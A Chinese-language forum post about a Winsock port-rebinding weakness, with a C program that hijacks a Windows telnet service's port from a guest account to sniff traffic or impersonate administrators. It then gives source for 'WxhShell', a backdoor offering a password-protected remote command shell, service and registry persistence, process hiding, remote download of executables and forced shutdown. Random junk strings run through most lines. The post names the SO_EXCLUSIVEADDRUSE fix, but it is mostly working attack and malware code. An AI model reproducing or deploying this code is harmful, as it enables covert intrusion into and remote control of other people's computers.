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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1h"_[`L'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^ua12f  
ew#T8F[  
  saddr.sin_family = AF_INET; hbuZaxo<  
R V!o4"\]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DM3B]Yl  
S2$5!(P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T{*^_  
H?}wl%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q2C)tVK+  
/~}_hO$S  
  这意味着什么?意味着可以进行如下的攻击: FsCwF&/q  
2/tb6' =  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cB36p&%  
Pd& ,G$l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .)nCOwR6p  
I9:%@g]uYw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'T{pdEn8u  
tQ6|PV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R''Sfz>8  
v5gQ9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `bi k/o=%  
h?3f5G*&H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zPA>af~Ej  
ILIRI[7 (  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 } _VZ  
cG5$lB  
  #include 5\5~L  
  #include "vvFq ,c  
  #include ?/^VOj4&  
  #include    _qk9o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [y$j9  
  int main() r6<ArX$Yl  
  { Q9nu"x %  
  WORD wVersionRequested; hkL w&;WJr  
  DWORD ret; uJ7,rq  
  WSADATA wsaData; (2 mS v  
  BOOL val; yW'BrTw  
  SOCKADDR_IN saddr; jeyaT^F(   
  SOCKADDR_IN scaddr; CcbWW4 )  
  int err; o(BYT9|.kw  
  SOCKET s; 78\\8*  
  SOCKET sc; ,\Z8*Jr3Q  
  int caddsize; ;Ce 2d+K  
  HANDLE mt; V}p*HB@:  
  DWORD tid;   Pm'.,?"  
  wVersionRequested = MAKEWORD( 2, 2 ); ((n5';|N  
  err = WSAStartup( wVersionRequested, &wsaData ); =]6_{#Z<  
  if ( err != 0 ) { ?m`R%>X"  
  printf("error!WSAStartup failed!\n"); Pau&4h0  
  return -1; /o~ @VF:  
  } ]ZBgE\[  
  saddr.sin_family = AF_INET; &fh.w]\  
   ^$3w&$K*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q|m#IVc  
<%T%NjNPQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #IcT @(  
  saddr.sin_port = htons(23); `=WzG"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _AA`R`p;  
  { `V$cz88b  
  printf("error!socket failed!\n"); 47$-5k30  
  return -1; a'(lVZA;  
  } m|g$'vjk  
  val = TRUE; Z.Lx^h+U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U* c{:K-C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rQAbN6  
  { Xb8:*Y1'  
  printf("error!setsockopt failed!\n"); 9.]Cy8  
  return -1; c'm-XL_La  
  } kY0g}o'<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s7X~OF(#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %t(, *;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =iPd@f"$  
_j|n}7a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sv CK;$:  
  { 8=b{'s^^F  
  ret=GetLastError(); gGceK^#  
  printf("error!bind failed!\n"); 8O}A/*1FJ  
  return -1; Z\o AE<$  
  } @/Wty@PU  
  listen(s,2); 3L\s8O  
  while(1) P+D|_3j  
  { ! S$oaCxM  
  caddsize = sizeof(scaddr); h1D~AgZOVj  
  //接受连接请求 7m@^=w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1f bFNxo8M  
  if(sc!=INVALID_SOCKET) h)aWerzL  
  { aL$c).hq0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e`gGzyM  
  if(mt==NULL) @[Jt~v  
  { tkUW)ScJ  
  printf("Thread Creat Failed!\n"); 2TevdyI  
  break; kcZ;SYosj  
  } 9-e[S3ziM  
  } <o"D/<XnB3  
  CloseHandle(mt); :pV("tHE  
  } ct|'I]nB.h  
  closesocket(s); |4 d{X@`&  
  WSACleanup(); &t=>:C$1Y  
  return 0; #uDBF  
  }   >8{`q!=|~  
  DWORD WINAPI ClientThread(LPVOID lpParam) PY3Vu]zD  
  { Wcay'#K,  
  SOCKET ss = (SOCKET)lpParam; BIB>U W  
  SOCKET sc; V HY<(4@  
  unsigned char buf[4096]; Ar{=gENn  
  SOCKADDR_IN saddr; ;@ !d!&  
  long num; I! eSJTN  
  DWORD val; @8 yE(  
  DWORD ret; ![MDmt5Ub^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v!v0,?b*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "x)pp  
  saddr.sin_family = AF_INET; qh'f,#dI}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dXcMysRc%&  
  saddr.sin_port = htons(23); O|g!Y(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \gW\Sa ^  
  { JNz"lTt>[g  
  printf("error!socket failed!\n"); TB3T:A>2  
  return -1; y<LwrrJ>  
  } HjY-b*B  
  val = 100; -gX2{dW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $vicHuX!  
  { &oEq&  
  ret = GetLastError(); eVK<%r=  
  return -1; @p'v.;~#  
  } %D6Wlf+^n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OL9C #er  
  { ,,j=RG_  
  ret = GetLastError(); /gy:#-2Gy  
  return -1; q^+NhAMz  
  } bb_jD^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jW0z|jr  
  { _G*x:<  
  printf("error!socket connect failed!\n"); h2K  
  closesocket(sc); ,)8Hl[y  
  closesocket(ss); sS|5x  
  return -1; GM~jR-FZ  
  } S8t9Ms: k  
  while(1) WOoVVjMM  
  { iLei-\w6y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ymu#u   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `toSU>:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1wwhTek  
  num = recv(ss,buf,4096,0); 7FWf,IjcGY  
  if(num>0) ]J~5{srq:  
  send(sc,buf,num,0); &98qAO]Z  
  else if(num==0) A1i-QG/6  
  break; $UKDXQF"  
  num = recv(sc,buf,4096,0); ]t<%v_K  
  if(num>0) bBjVot  
  send(ss,buf,num,0); 2t_E\W7w+  
  else if(num==0) LV`- eW  
  break; S!rUdxO  
  } -O2Qz zE&  
  closesocket(ss); 9gjx!t>`H  
  closesocket(sc); fE7Kv_N-%  
  return 0 ; 4iDo.1B"  
  }  =#8J9  
#LF_*a0v  
wjpkh~ qo  
========================================================== Ey)ox$  
Rb#?c+&#  
下边附上一个代码,,WXhSHELL / Z \zB  
#~(@Ka.eA0  
========================================================== I4u'b?* je  
|U12 fuQ  
#include "stdafx.h" #[J..i/h  
p_tMl%K  
#include <stdio.h> `lr\V;o!  
#include <string.h> ](^VEm}w;  
#include <windows.h> V.;0F%zks5  
#include <winsock2.h> SrU,-mA W  
#include <winsvc.h> :Ruj;j  
#include <urlmon.h> Wu%;{y~#}  
dA)7d77  
#pragma comment (lib, "Ws2_32.lib")  ,8@@r7  
#pragma comment (lib, "urlmon.lib") & 9IMZAo  
0W#.$X5  
#define MAX_USER   100 // 最大客户端连接数 1 BVivEG  
#define BUF_SOCK   200 // sock buffer H`m| R  
#define KEY_BUFF   255 // 输入 buffer amgYr$)m  
SC"=M^E  
#define REBOOT     0   // 重启 i7:j(W^I8  
#define SHUTDOWN   1   // 关机 ^hTq~"  
z$H |8L  
#define DEF_PORT   5000 // 监听端口 mbSJ}3c"  
( 8k3z`  
#define REG_LEN     16   // 注册表键长度 c7'I'~  
#define SVC_LEN     80   // NT服务名长度 %F1 Ce/  
/tx_I(6F?|  
// 从dll定义API <eb>/ D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kQwBrb 4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7J7uHl`yq`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o=4d2V%m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (N0G[(>  
(H0nO7Bk  
// wxhshell配置信息 y~Sh|2x8v  
struct WSCFG { -0Y8/6](  
  int ws_port;         // 监听端口 FG1$_zN |  
  char ws_passstr[REG_LEN]; // 口令 Yc+ /="&z  
  int ws_autoins;       // 安装标记, 1=yes 0=no x}].lTjD  
  char ws_regname[REG_LEN]; // 注册表键名 @tRq(*(/:  
  char ws_svcname[REG_LEN]; // 服务名 )$i7b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )nTOIfP2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kce+aiv|u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J*A<F'^F1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7-Fh!=\f/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C/tn0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %v4/.4sR,;  
G}AfCd4  
}; 6ZR'1_i6i=  
/@Y/(+DE  
// default Wxhshell configuration 1j9.Q;9  
struct WSCFG wscfg={DEF_PORT, TCv}N0  
    "xuhuanlingzhe", 7P.C~,+D%P  
    1, $@7S+'Q3  
    "Wxhshell", V2V^*9(wu@  
    "Wxhshell", +}J2\!Jw  
            "WxhShell Service", bB)$=7\  
    "Wrsky Windows CmdShell Service", 86>@.:d  
    "Please Input Your Password: ", ,w f6gmh8  
  1, S f6%A  
  "http://www.wrsky.com/wxhshell.exe", % K,cGgp^)  
  "Wxhshell.exe" !ST7@D  
    }; NLu[<u U*  
Ta$55K0  
// 消息定义模块 .[+}nA,g%~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {y B0JL}n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "MK2QIo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^CgN>-xZ?#  
char *msg_ws_ext="\n\rExit."; hhz#I A6,  
char *msg_ws_end="\n\rQuit."; '<QFf  
char *msg_ws_boot="\n\rReboot..."; wR,}#m,  
char *msg_ws_poff="\n\rShutdown..."; Gqj(2.AY  
char *msg_ws_down="\n\rSave to "; K{,'%|  
<oi'yr  
char *msg_ws_err="\n\rErr!"; AxeQv'e  
char *msg_ws_ok="\n\rOK!"; eSHsE 3}h  
M!i*DU+SE  
char ExeFile[MAX_PATH]; =oM#]M'G+(  
int nUser = 0; ox_DEg7l  
HANDLE handles[MAX_USER]; e1y#p3 @d  
int OsIsNt; zeq")A  
jT/P+2hMW  
SERVICE_STATUS       serviceStatus; S}cR+d1}h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JLz32 %-M  
zg'.fUZ  
// 函数声明 (5CgC <  
int Install(void); 22;B:  
int Uninstall(void); 6(x53 y__  
int DownloadFile(char *sURL, SOCKET wsh); +SE\c  
int Boot(int flag); |ICn/r~  
void HideProc(void); [-i&)eX  
int GetOsVer(void); Vf.*!`UH  
int Wxhshell(SOCKET wsl); IuA4eDr^Y%  
void TalkWithClient(void *cs); |i~-,:/-Y  
int CmdShell(SOCKET sock); q/Vl>t  
int StartFromService(void); WnOvU<Z <  
int StartWxhshell(LPSTR lpCmdLine); D?UURURf  
!@wUAR Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !* KQ2#e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?6>*mdpl  
&5.J y2hO]  
// 数据结构和表定义 G9V2(P  
SERVICE_TABLE_ENTRY DispatchTable[] = U&=pKbTe  
{ X y`2ux+>/  
{wscfg.ws_svcname, NTServiceMain}, 2b,edJVt?  
{NULL, NULL} ]N;n q  
}; 23Dld+E&  
=,C]d~  
// 自我安装 }s:3_9mE  
int Install(void) zb4{nzX=  
{ GmE`YW  
  char svExeFile[MAX_PATH]; mP/#hwzB&q  
  HKEY key; (+0(A777M  
  strcpy(svExeFile,ExeFile); p|NY.N  
-T i<H9OV  
// 如果是win9x系统,修改注册表设为自启动 /hmDeP o}  
if(!OsIsNt) { <}h <By)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KATf9-Sz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lrwQ >N  
  RegCloseKey(key); + !" Y C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qx3eEt@X5]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ){z#Y#]dP  
  RegCloseKey(key); Iz83T9I&  
  return 0; MxUbx+_N  
    } l_$>$d  
  } ixK9/5T  
} :-<30LS $  
else { c0HPS9N\  
E2t& @t%W  
// 如果是NT以上系统,安装为系统服务 );y ZyWDV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WNb2"W  
if (schSCManager!=0) `B&=ya|bl  
{ N 3O!8A_  
  SC_HANDLE schService = CreateService >R_m@$`  
  ( EkRx/  
  schSCManager, US^%pd  
  wscfg.ws_svcname, 0UW_ Pbh6  
  wscfg.ws_svcdisp, a&2x;diF  
  SERVICE_ALL_ACCESS, 0VNpd~G$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lZe-A/E  
  SERVICE_AUTO_START, bA2[=6  
  SERVICE_ERROR_NORMAL, D| <_96_m  
  svExeFile, SK&1l`3  
  NULL, y29G#Y4J  
  NULL, [{R>'~  
  NULL, Csp$_uDi  
  NULL, |uz\XK  
  NULL J>G'H)  
  ); V@s93kh  
  if (schService!=0) ^!i4d))  
  { ~`^kP.()  
  CloseServiceHandle(schService); 1Z;cb0:  
  CloseServiceHandle(schSCManager); 1JdMw$H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T-GvPl9ZJw  
  strcat(svExeFile,wscfg.ws_svcname); q4Bw5 ~n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6/Yo0D>M$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . XbDb  
  RegCloseKey(key); ahZ@4v  
  return 0; 5D?{dA:Rq  
    } l+@k:IK  
  } wu11)HFL|z  
  CloseServiceHandle(schSCManager); l Le&q  
} {~R?f$}""j  
} uHbbPtk  
e]ST0J"  
return 1; 1M?x,N_W  
} 9!_LsQ\)  
Y*A y=@z=y  
// 自我卸载 23K#9!3  
int Uninstall(void) =B'Yx  
{ O'^AbO=,  
  HKEY key; #nft{AN  
QhAYCw2  
if(!OsIsNt) { dD'KP4Io@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <;>k[P'  
  RegDeleteValue(key,wscfg.ws_regname); D'{ o3Q,%K  
  RegCloseKey(key); '4 3U v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,1!Y!,xy  
  RegDeleteValue(key,wscfg.ws_regname); v;g,qO!LJ  
  RegCloseKey(key); qC& xuu|  
  return 0; `:m=rT_  
  } %iYro8g!,  
} -Gl!W`$I `  
} k%sA+=  
else { Rf>V]R  
2v4&'C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W$l4@A  
if (schSCManager!=0) =*6frC~  
{ x 2l}$(7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,m7Z w_.  
  if (schService!=0) -)bu&  
  { [!} uj`e  
  if(DeleteService(schService)!=0) { 8F)9.s,*  
  CloseServiceHandle(schService); 9n\v{k=  
  CloseServiceHandle(schSCManager); K&dc< 4DC  
  return 0; KM^}d$x}s  
  } AGVipI #  
  CloseServiceHandle(schService); M3GFKWQI,`  
  } bZQ_j#{$  
  CloseServiceHandle(schSCManager); JE$ $6X  
} f_hG2Sk  
} xBw ua;  
%F;uW[4r  
return 1; qe0ZM-C_  
} (~b0-3s  
5:EE%(g9  
// 从指定url下载文件 k9\n='OI  
int DownloadFile(char *sURL, SOCKET wsh) A/j'{X!z  
{ vDc&m  
  HRESULT hr; dGR #l)  
char seps[]= "/"; A  j>  
char *token; ]tbl1=|  
char *file; 2Myz[)<P_  
char myURL[MAX_PATH]; %.{xo.`a[  
char myFILE[MAX_PATH]; n0^3F1Z  
A2fuNV_  
strcpy(myURL,sURL); *vzj(HGO  
  token=strtok(myURL,seps); pSpxd |k  
  while(token!=NULL) h#|Ac>fz  
  { T=pKen/  
    file=token; M3)Id?|]6  
  token=strtok(NULL,seps); ).$kp2IN  
  } ADA*w 1  
~~WX#Od*$  
GetCurrentDirectory(MAX_PATH,myFILE); m W4tW  
strcat(myFILE, "\\");  <>=abgg  
strcat(myFILE, file); 8RVeKnpXTV  
  send(wsh,myFILE,strlen(myFILE),0); ]#$r TWMl'  
send(wsh,"...",3,0); k@2@%02o9C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v%Su#xq/  
  if(hr==S_OK) byj7c(  
return 0; FOX0  
else .[o?qCsw  
return 1; UTuOean ]'  
%TQ5#{Y  
} yrrP#F  
k=5v J72U  
// 系统电源模块 Hb9r.;r<EW  
int Boot(int flag) K%>3ev=y.s  
{ )/?s^D$,  
  HANDLE hToken; p!cNn7{;  
  TOKEN_PRIVILEGES tkp; GG`;c?d@  
jR,3 -JQ  
  if(OsIsNt) { ",Fqpu&M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G%fNGQwT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5%XEybc2  
    tkp.PrivilegeCount = 1; K;(t@GL?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3=kw{r[2lM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @)Sd3xw[  
if(flag==REBOOT) { DUu~s,A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) je~gk6}Y  
  return 0; %;tBWyq}_  
} EcmyY,w  
else { QU^?a~r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (C8r^m|A  
  return 0; ;!/g`*?  
} )u_[cEJHO  
  } BYsQu.N  
  else { W q>qso  
if(flag==REBOOT) { Gw}b8N6E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ST^{?Q  
  return 0; u-#J!Z<T8  
} l( 0:CM  
else { LDq(WPI1#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }h`ddo  
  return 0; 23[XmBf  
} Y^J/jA0\B  
} +h? z7ZY^  
/kK:{  
return 1; } {m.\O  
} )qV&sru.$  
UG<`m]  
// win9x进程隐藏模块 @)p?!3{"  
void HideProc(void) 8 n)3'ok  
{ [i)G:8U  
j+>&~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CaqMLi%  
  if ( hKernel != NULL ) ?{*/VJl$  
  { joJ:* oL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G .k\N(l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Stxrgmu  
    FreeLibrary(hKernel); xSoXf0zq:  
  } t+Rt*yjO  
AIa#t#8${  
return; h|t\rV^  
} Kf-rthO  
1*J#:|({(  
// 获取操作系统版本 4Z<  
int GetOsVer(void) GLIP;)h1  
{ J?N9*ap)  
  OSVERSIONINFO winfo; ;Q} H'Wg,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [?Ub =sp  
  GetVersionEx(&winfo); _ 0Ced&i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) esVZ2_eL  
  return 1; mMRdnf!Uid  
  else @:"GgkyDl#  
  return 0; GcYT<pwN6  
} +4%: q~C  
H0.,h;  
// 客户端句柄模块 <<[hZ$.  
int Wxhshell(SOCKET wsl) 'uOzC"_yF  
{ &k2nt  
  SOCKET wsh; wk"zpI7L  
  struct sockaddr_in client; hPHrq{YZ  
  DWORD myID; ^  M4-O~  
N>}2&'I  
  while(nUser<MAX_USER) v lsS  
{ ep3iI77/  
  int nSize=sizeof(client); hMiuv_EO!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ib%x&?||  
  if(wsh==INVALID_SOCKET) return 1; H\Jpw  
d4#Ra%   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {? dW-  
if(handles[nUser]==0) h8MkfHH7{  
  closesocket(wsh); M%NapK  
else ].eY]o}=  
  nUser++; YQ+Kl[ec  
  } C8 b%r|^#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mTW@E#)n  
~t~5ctJ@  
  return 0; %aszZP  
} .{|AHW&0<  
tyLR_@i%%  
// 关闭 socket fii\&p7z  
void CloseIt(SOCKET wsh) `(9B(&t^,  
{ :tA|g  
closesocket(wsh); [}OL@num  
nUser--; S}hg*mWn{$  
ExitThread(0); \O7?!i  
} e]+ [lq\p@  
YTco;5/  
// 客户端请求句柄 CKTD27})  
void TalkWithClient(void *cs) ^gdg0y!5~  
{ (pjmE7 `"P  
j{nkus2  
  SOCKET wsh=(SOCKET)cs; Mlpq2I_x  
  char pwd[SVC_LEN]; y{eZrX|  
  char cmd[KEY_BUFF]; qKL_1 ~  
char chr[1]; 8elT/Wl  
int i,j; ?ExfxR!~  
~%Ws"1  
  while (nUser < MAX_USER) { T_}\  
IpxFME%!  
if(wscfg.ws_passstr) { L#e|t0'#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y^C; ?B<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b* 6c.  
  //ZeroMemory(pwd,KEY_BUFF); B%Yb+M&K  
      i=0;  *ihg'  
  while(i<SVC_LEN) { 9tS& $-  
rrSA.J{  
  // 设置超时  <C4^Vem  
  fd_set FdRead; l!ye\  
  struct timeval TimeOut; @T1 >%oi  
  FD_ZERO(&FdRead); )^!-Aj\x  
  FD_SET(wsh,&FdRead); -}UC daQ3  
  TimeOut.tv_sec=8; tS2lex%  
  TimeOut.tv_usec=0; ji( S ?^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q_f v1U3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k#%19B  
U hCd,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "0L@cOyG  
  pwd=chr[0]; PyHE >C%  
  if(chr[0]==0xd || chr[0]==0xa) { ]dDyz[NuvD  
  pwd=0; #U/B,`= >  
  break; B0Z~L){i  
  } >[xQUf,p  
  i++; McnP>n  
    } kX1hcAa  
.: 7h=neEW  
  // 如果是非法用户,关闭 socket =GR Em5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oS_p/$F,  
} <6apv(2a  
V43JY_:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I )B2Z(<Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *pasI.2s#  
A)7'\JK7b  
while(1) { QW2% Gv:  
TU. h  
  ZeroMemory(cmd,KEY_BUFF); fQx 4/4j  
|J}~a8o  
      // 自动支持客户端 telnet标准   9J]LV'f7  
  j=0; R1q04Zj{2  
  while(j<KEY_BUFF) { _ve7Is`/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oW+R:2I~O  
  cmd[j]=chr[0]; eB]ZnJ2^=  
  if(chr[0]==0xa || chr[0]==0xd) { "J{,P9P6  
  cmd[j]=0; 4t8 Hy  
  break; f CVSVn"o  
  } Ta[}k/zW  
  j++; #-V Kk  
    } N]=.I   
q5RLIstQ\  
  // 下载文件 v^E5'M[A  
  if(strstr(cmd,"http://")) { /cjf 1Dc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OIWo* %  
  if(DownloadFile(cmd,wsh)) 6% ,Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~_OWCg`  
  else tIvtiN6[|l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dvj`%?=  
  } HxM-VK '  
  else { 0bd.ess  
QTyl=z7  
    switch(cmd[0]) { Z2@&4_P  
  [,e_2<   
  // 帮助 Yp;x  
  case '?': { [j/-(?+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PRUGUHY  
    break; M>^IQ  
  } #\M<6n{  
  // 安装 TUUBC%  
  case 'i': { RcE%?2l D  
    if(Install()) NSkI2>+P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w7W-=\Hvh  
    else nAYjSE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K4tX4U[Z  
    break; :=8vy  
    } 5u8Sxfm",  
  // 卸载 f ;Dz(~ hw  
  case 'r': { 5Tu.2.)N  
    if(Uninstall()) 04"hQt{[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BZBsE :(F  
    else f0uiNy(r$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8BN'fWl&E  
    break; *Zvw&y*  
    } xWMMHIu  
  // 显示 wxhshell 所在路径 ppYz~ {"r  
  case 'p': { I@B7uFj  
    char svExeFile[MAX_PATH]; t>[r88v  
    strcpy(svExeFile,"\n\r"); t Z%?vY~!  
      strcat(svExeFile,ExeFile); nGt8u4gcP  
        send(wsh,svExeFile,strlen(svExeFile),0); GB=q}@&8p  
    break; qRFN@ID$  
    } ^/+sl-6/F  
  // 重启 y\[=#g1(@  
  case 'b': { BAhC-;B#R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1m0':n Vdu  
    if(Boot(REBOOT)) TQou.'+v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W< n`[  
    else { zxh"@j$?  
    closesocket(wsh); GxkG$B  
    ExitThread(0); (pmo[2kg  
    } gU?)  
    break; V~=)#3]`[  
    } :QVGY^c  
  // 关机 qkIU>b,B  
  case 'd': { u!i5Q  
